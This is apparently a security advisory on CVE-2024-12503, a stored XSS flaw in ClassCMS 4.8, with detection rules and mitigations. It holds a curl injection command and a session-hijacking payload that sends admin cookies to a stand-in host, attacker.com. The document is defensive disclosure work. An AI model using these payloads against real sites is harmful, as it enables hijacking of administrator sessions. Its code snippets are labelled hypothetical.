CVE-2024-12503

Executive Summary

CVE-2024-12503 is a publicly disclosed, unauthenticated stored cross-site scripting (XSS) vulnerability in ClassCMS version 4.8. The flaw resides in the Model Management Page (/index.php/admin), where the URL argument is not properly sanitized before being rendered. An attacker can inject arbitrary JavaScript or HTML, which will execute in the context of an administrator's browser when the malicious model is viewed. This can lead to session hijacking, credential theft, or further compromise of the CMS backend. No official patch has been released, and the exploit is publicly available.

CVSS Breakdown & Threat Level

• CVSS Score: 4.8 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – exploitable remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): None – no authentication needed to inject the payload.
• User Interaction (UI): Required – an admin must visit the malicious model page.
• Scope (S): Changed – the injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – limited data exposure (e.g., session tokens).
• Integrity (I): Low – limited ability to modify content.
• Availability (A): None – no direct denial-of-service impact.

Threat Level: Medium. The attack requires user interaction (admin clicking a link), but the lack of authentication for injection and the public exploit make it a realistic threat for unpatched instances.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the Model Management functionality of ClassCMS 4.8. The application fails to sanitize the URL parameter when creating or editing a model. When an administrator navigates to the Model Management page, the unsanitized input is rendered as HTML/JavaScript, leading to code execution in the admin's browser.

Attack Flow:

1. An attacker sends a crafted POST request to /index.php/admin with a malicious payload in the URL parameter (e.g., <script>alert('XSS')</script>).
2. The payload is stored in the database without sanitization.
3. When an administrator views the Model Management page, the payload is executed.
4. The attacker can steal cookies, perform actions on behalf of the admin, or redirect to a phishing page.

Root Cause: Lack of output encoding or input validation on the URL parameter. The application likely uses echo $_POST['URL'] or similar without htmlspecialchars() or equivalent.

Vulnerable vs. Patched Code

Vulnerable Code (ClassCMS 4.8):

// admin/model.php (hypothetical)
$url = $_POST['URL'];
// ... store $url in database ...
// When rendering:
echo "<a href='$url'>Model Link</a>";

Patched Code (Hypothetical):

$url = htmlspecialchars($_POST['URL'], ENT_QUOTES, 'UTF-8');
// ... store $url in database ...
// When rendering:
echo "<a href='" . htmlspecialchars($url, ENT_QUOTES, 'UTF-8') . "'>Model Link</a>";

Key Difference: The patched version applies htmlspecialchars() to both input and output, preventing script injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A target running ClassCMS 4.8.
• Access to the admin panel (or ability to trick an admin into visiting a crafted link).

Exploit Payload:

<script>alert(document.cookie)</script>

Step-by-Step:

1. Send a POST request to /index.php/admin with the payload:

   curl -X POST http://target.com/index.php/admin \
     -d "URL=<script>alert(document.cookie)</script>&action=add_model"
   

2. Wait for an admin to visit the Model Management page.
3. The script executes, displaying the admin's cookies.

Advanced Payload (Session Hijacking):

<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual POST requests to /index.php/admin containing <script> tags.
• Use WAF rules to block common XSS patterns (e.g., <script, onerror=, javascript:).

Mitigation:

• Apply input validation and output encoding (see Remediation).
• Restrict access to the admin panel via IP whitelisting or VPN.
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /index.php/admin with URL parameter containing <script> or onerror= patterns.
  • Outbound connections to attacker-controlled domains (e.g., attacker.com/steal).
• Host:
  • Log entries showing URL parameter with HTML/JavaScript content.
  • Database entries in the models table with unsanitized URL values.
• File:
  • No file-based IOCs; the attack is purely web-based.

Detection Engineering

YARA Rule

rule cve_2024_12503_xss_payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2024-12503 in ClassCMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12503"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /javascript\s*:\s*/i
    condition:
        any of them
}

Sigma Rule

title: ClassCMS XSS via URL Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS attempts against ClassCMS 4.8 Model Management page
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/index.php/admin'
        cs-params|contains: 
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate admin input containing HTML (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-12503 ClassCMS XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/index.php/admin"; http_uri; content:"URL="; http_client_body; pcre:"/(<script|onerror=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Model Management if not required, or restrict access to trusted IPs.
2. Apply a WAF rule to block requests containing <script, onerror=, or javascript: in the URL parameter.
3. Manually patch the vulnerable code by adding htmlspecialchars() to the URL parameter in both input and output.

Long-Term Fix:

• Upgrade to a patched version of ClassCMS (if/when available).
• Implement a Content Security Policy (CSP) header:

  Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
  

• Conduct a security audit of the entire CMS for similar injection flaws.

Workaround:

• Use a reverse proxy (e.g., Nginx) to filter malicious payloads:

  location /index.php/admin {
      if ($request_body ~* "(<script|onerror=|javascript:)") {
          return 403;
      }
  }
  

Valters IT
Securing Digital Frontiers